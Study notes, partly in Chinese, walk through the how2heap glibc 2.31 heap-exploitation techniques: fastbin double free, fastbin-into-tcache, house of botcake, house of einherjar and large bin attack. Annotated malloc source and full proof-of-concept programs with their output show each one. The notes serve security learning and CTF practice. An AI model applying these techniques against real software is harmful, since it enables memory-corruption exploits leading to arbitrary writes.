# how2heap analyze
###### tags: `pwn 👻`
[toc]
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#_int_malloc
## glibc 2.31
### fastbin_dup
又叫做 fastbins double-free attack,透過 `free(A); free(B); free(A);` 的機制繞過檢查,並利用 fastbin fd 可以拿到對應 size 的 chunks
#### trace
```c=
// https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4273
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
}
```
#### attack demo
```c=
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
void *ptrs[8];
// 先填滿 tcache
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
// 分配三個 chunk
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
// 如果直接 free 會 trigger double-free check 並且 crash
// free(a);
free(b);
// bypass check done
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
// result
This file demonstrates a simple double-free attack with fastbins.
Fill up tcache first.
Allocating 3 buffers.
1st calloc(1, 8): 0x5620d5dc83a0
2nd calloc(1, 8): 0x5620d5dc83c0
3rd calloc(1, 8): 0x5620d5dc83e0
Freeing the first one...
If we free 0x5620d5dc83a0 again, things will crash because 0x5620d5dc83a0 is at the top of the free list.
So, instead, we'll free 0x5620d5dc83c0.
Now, we can free 0x5620d5dc83a0 again, since it's not the head of the free list.
Now the free list has [ 0x5620d5dc83a0, 0x5620d5dc83c0, 0x5620d5dc83a0 ]. If we malloc 3 times, we'll get 0x5620d5dc83a0 twice!
1st calloc(1, 8): 0x5620d5dc83a0
2nd calloc(1, 8): 0x5620d5dc83c0
3rd calloc(1, 8): 0x5620d5dc83a0
```
### fastbin_reverse_into_tcache
#### trace code
類似利用 fastbin 做到 unsorted_bin_attack
```c=
// https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3608
// catomic_compare_and_exchange_val_rel_acq: 如果 *fb == victim,則將 *fb 改成 victim->fd,返回 victim
#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
// fb 為 av (main_arena) 的對應 fastbinY
// 這邊會指向 fastbin 最後一塊 insert 的 chunk
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
#if USE_TCACHE
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd; // victim 為 ptr[13],fd 為 ptr[12]
else
...
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
// tcache 的 victim,也就是要放進 tcache 內的
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
// tcache 還沒滿,以及 fb 不為 NULL
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd; // 更新當前 fd
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
// 將 fastbin chunk 放到 tcache
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
```
reverse 放進 tcache,而最後因為 `*fb = tc_victim->fd;`,所以 fastbin 會爛掉
#### attack demo
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
// fastbin 的 size
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// 填滿 tcache
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
// 第 ptr[7] 個 chunk 為 victim
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
// first tcache chunks
free(victim);
// 如果要 overwrite 的位置為 0, 則需要 malloc 6 個 chunk,不然會噴 segmentation fault
// 如果不是 0,則一個就夠了
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
// 目標為 stack_var + 0x10
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//------------------------------------
// 清空 tcache
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
// fastbin 裡的東西會以 reverse order 放回 tcache
// 所以 victim->fd 會被當作第一個 tcache entry
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
// result
This attack is intended to have a similar effect to the unsorted_bin_attack,
except it works with a small allocation size (allocsize <= 0x78).
The goal is to set things up so that a call to malloc(allocsize) will write
a large unsigned value to the stack.
First we need to free(allocsize) at least 7 times to fill the tcache.
(More than 7 times works fine too.)
The next pointer that we free is the chunk that we're going to corrupt: 0x55caa79f34d0
It doesn't matter if we corrupt it now or later. Because the tcache is
already full, it will go in the fastbin.
Next we need to free between 1 and 6 more pointers. These will also go
in the fastbin. If the stack address that we want to overwrite is not zero
then we need to free exactly 6 more pointers, otherwise the attack will
cause a segmentation fault. But if the value on the stack is zero then
a single free is sufficient.
The stack address that we intend to target: 0x7fff528bf6a0
It's current value is 0xcdcdcdcdcdcdcdcd
Now we use a vulnerability such as a buffer overflow or a use-after-free
to overwrite the next pointer at address 0x55caa79f34d0
The next step is to malloc(allocsize) 7 times to empty the tcache.
Let's just print the contents of our array on the stack now,
to show that it hasn't been modified yet.
0x7fff528bf690: 0xcdcdcdcdcdcdcdcd
0x7fff528bf698: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6a0: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6a8: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6b0: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6b8: 0xcdcdcdcdcdcdcdcd
The next allocation triggers the stack to be overwritten. The tcache
is empty, but the fastbin isn't, so the next allocation comes from the
fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.
Those 7 chunks are copied in reverse order into the tcache, so the stack
address that we are targeting ends up being the first chunk in the tcache.
It contains a pointer to the next chunk in the list, which is why a heap
pointer is written to the stack.
Earlier we said that the attack will also work if we free fewer than 6
extra pointers to the fastbin, but only if the value on the stack is zero.
That's because the value on the stack is treated as a next pointer in the
linked list and it will trigger a crash if it isn't a valid pointer or null.
The contents of our array on the stack now look like this:
0x7fff528bf690: 0xcdcdcdcdcdcdcdcd
0x7fff528bf698: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6a0: 0x55caa79f34d0
0x7fff528bf6a8: 0x55caa79f3010
0x7fff528bf6b0: 0xcdcdcdcdcdcdcdcd
0x7fff528bf6b8: 0xcdcdcdcdcdcdcdcd
Finally, if we malloc one more time then we get the stack address back: 0x7fff528bf6a0
```
- 最後 malloc 前,heap 的 layout (7 個 chunk 在 fastbin,victim 為最後一個 (第一個進入 fastbin))

- malloc 後,取出 ptr[13],剩下的 chunk 會被以反方向的順序放入 tcache (stack_var 先)

- fastbin 爛掉了

- tcache 與 fastbin 都是 **FILO**
### house_of_botcake
>tcache poisoning attack
利用 merge chunk 與 double-free,讓原本在 unsorted bin 中的 A chunk 再次進入 tcache,並且因為又 malloc 更大一塊,所以 A 的 fd 為可控,malloc 後就會拿到任意位置
#### attack demo
```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// 單純關閉 IO buffer
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
// double free 的前提下才能使用
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
// target in stack
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
// a == victim
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
// 避免 consolidation
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
// 填滿 tcache
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
// 到這裡會 merge 成一塊 0x220 的 unsorted bin chunk
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
// result
This file demonstrates a powerful tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this demo, the stack).
This attack only relies on double free.
The address we want malloc() to return, namely,
the target address is 0x7ffddb5ff000.
Preparing heap layout
Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.
Allocating a chunk for later consolidation
Allocating the victim chunk.
malloc(0x100): a=0x55ab76811b20.
Allocating a padding to prevent consolidation.
Now we are able to cause chunk overlapping
Step 1: fill up tcache list
Step 2: free the victim chunk so it will be added to unsorted bin
Step 3: free the previous chunk and make it consolidate with the victim chunk.
Step 4: add the victim chunk to tcache list by taking one out from it and free victim again
Launch tcache poisoning
Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk
We simply overwrite victim's fwd pointer
Now we can cash out the target chunk.
The new chunk is at 0x7ffddb5ff000
Got control on target/stack!
Note:
And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim
In that case, once you have done this exploitation, you can have many arbitary writes very easily.
```
### house_of_einherjar
- tcache 開啟時才能使用,利用 off-by-one 控制 malloc 回來的 ptr,此方式需要 **heap leak**,`malloc()` 會 return 任意位置
- 主要利用 off-by-one 來蓋掉 prev_inuse,並且透過 fake chunk consolidate 兩個 chunk,而使用時需要 tcache 滿,不然沒辦法 trigger consolidate
#### trace code
```c=
// https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4326
...
/* consolidate backward */
// 往後 merge
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
// 只有比對 prev_size 跟 prev chunk size 有沒有正確而已
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
...
// 如果下一個 chunk 不是 top chunk 的話
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
// 往前 merger
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
// 把 chunk 丟到 unsorted bin 中
bck = unsorted_chunks(av);
fwd = bck->fd;
...
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else { // 代表下一個 chunk 是 top chunk,top chunk 直接往上 merge
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
...
```
#### attack demo
```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
/*
* This modification to The House of Enherjar works with the tcache-option enabled on glibc-2.31.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n");
// prepare the target
intptr_t stack_var[4];
printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);
// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
// 偽造一個 size 0x60 的 chunk,並且 fd bk 都指向原 chunk 'a'
a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck
printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);
printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);
int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);
printf("c: %p\n", c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
b[real_b_size] = 0;
printf("c.size: %#lx\n", *c_size_ptr);
printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}
printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);
// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);
printf("We overwrite b's fwd pointer using chunk 'd'\n");
d[0x30 / 8] = (long) stack_var;
// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);
// sanity check
assert(e == stack_var);
printf("Got control on target/stack!\n\n");
}
// result
Welcome to House of Einherjar 2!
Tested on Ubuntu 20.04 64bit (glibc-2.31).
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
This file demonstrates a tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The address we want malloc() to return is 0x7ffdd5885a10.
We allocate 0x38 bytes for 'a' and use it to create a fake chunk
We create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
Our fake chunk at 0x56233b4602a0 looks like:
prev_size (not used): 0
size: 0x60
fwd: 0x56233b4602a0
bck: 0x56233b4602a0
We allocate 0x28 bytes for 'b'.
This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'
After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.
b: 0x56233b4602e0
Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: 0x28
We allocate 0xf8 bytes for 'c'.
c: 0x56233b460310
c.size: 0x101
c.size is: (0x100) | prev_inuse = 0x101
We overflow 'b' with a single null byte into the metadata of 'c'
c.size: 0x100
It is easier if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
We write a fake prev_size to the last 8 bytes of 'b' so that it will consolidate with our fake chunk
Our fake prev_size will be 0x56233b460300 - 0x56233b4602a0 = 0x60
Make sure that our fake chunk's size is equal to c's new prev_size.
Our fake chunk size is now 0x60 (b.size + fake_prev_size)
Fill tcache.
Fill up tcache list.
Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set
Our fake chunk size is now 0x161 (c.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x158) is at 0x56233b4602b0
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.
Now we free chunk 'b' to launch a tcache poisoning attack
Now the tcache list has [ 0x56233b4602e0 -> 0x56233b460b10 ].
We overwrite b's fwd pointer using chunk 'd'
Now we can cash out the target chunk.
The new chunk is at 0x7ffdd5885a10
Got control on target/stack!
```
### large bin attack
利用 chunk->bk_nextsize 沒有檢查,將 chunk1->bk_nextsize->fd->nextsize 寫成 target address,並將 target 寫成 heap 位置的值 (也可想成很大的 value)
#### trace code
```c=
// https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3827
{
...
// 拿到 victim 的 index
victim_index = largebin_index (size);
// 拿到最小的
bck = bin_at (av, victim_index);
// 拿到最大的 (最小的->fd)
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
// 如果比最小的還要小,就把它改成最小的
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
// 這個 while loop 在處理整個 large bin 的更新,讓整個 large bin 能夠符合規則
/**
大小從大到小
大小相同,則從 free 的時間
大小相同的 chunk,只有第一塊的 fd_nextsize 與 bk_nextsize 會指到其他地方,其他都是 0
size 最大的 chunk bk_nextsize 指向最小的 chunk;size 最小的 fd_nextsize 指向最大的 chunk
**/
while ((unsigned long) size < chunksize_nomask (fwd)) // 找到 >= request size 的 linked list
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
// size 相同
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
// size 大於
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
...
```
#### attack demo
```c=
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0; // in stack
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
// prevent consolidate
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
// chunk 2 要與 chunk 1 在同一個 bin,並且又要比 chunk 1 小
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
// 一樣避免 consolidate
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
// free 掉第一塊
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
// create chunk 3,要比 chunk1 還大
// 目的要 chunk1 進入 large bin
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
// free 掉 chunk 2
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
// 改掉 chunk 1 (in large bin) 的 bk_nextsize
// 正常情況應該都會指回自己 (因為沒有其他 large bin)
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
// 讓 chunk 2 回 large bin
// 此時因為 chunk 1 bk_nextsize 改指向 chunk 2,chunk 2 bk_nextsize 指到 stack
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
// result
Since glibc2.30, two new checks have been enforced on large bin chunk insertion
Check 1 :
> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
> malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 :
> if (bck->fd != fwd)
> malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below :
====================================================================
Here is the target we want to overwrite (0x7fff11078870) : 0
First, we allocate a large chunk [p1] (0x55cc6de4b290)
And another chunk to prevent consolidate
We also allocate a second large chunk [p2] (0x55cc6de4b6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate
Free the larger of the two --> [p1] (0x55cc6de4b290)
Allocate a chunk larger than [p1] to insert [p1] into large bin
Free the smaller of the two --> [p2] (0x55cc6de4b6e0)
At this point, we have one chunk in large bin [p1] (0x55cc6de4b290),
and one chunk in unsorted bin [p2] (0x55cc6de4b6e0)
Now modify the p1->bk_nextsize to [target-0x20] (0x7fff11078850)
Finally, allocate another chunk larger than [p2] (0x55cc6de4b6e0) to place [p2] (0x55cc6de4b6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x55cc6de4b6e0) into largebin, [p1](0x55cc6de4b290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x55cc6de4b6e0)
In out case here, target is now overwritten to address of [p2] (0x55cc6de4b6e0), [target] (0x55cc6de4b6e0)
Target (0x7fff11078870) : 0x55cc6de4b6e0
====================================================================
```
- 最後丟進 large bin 前
```c=
gef➤ p &target
$1 = (size_t *) 0x7fffffffde60
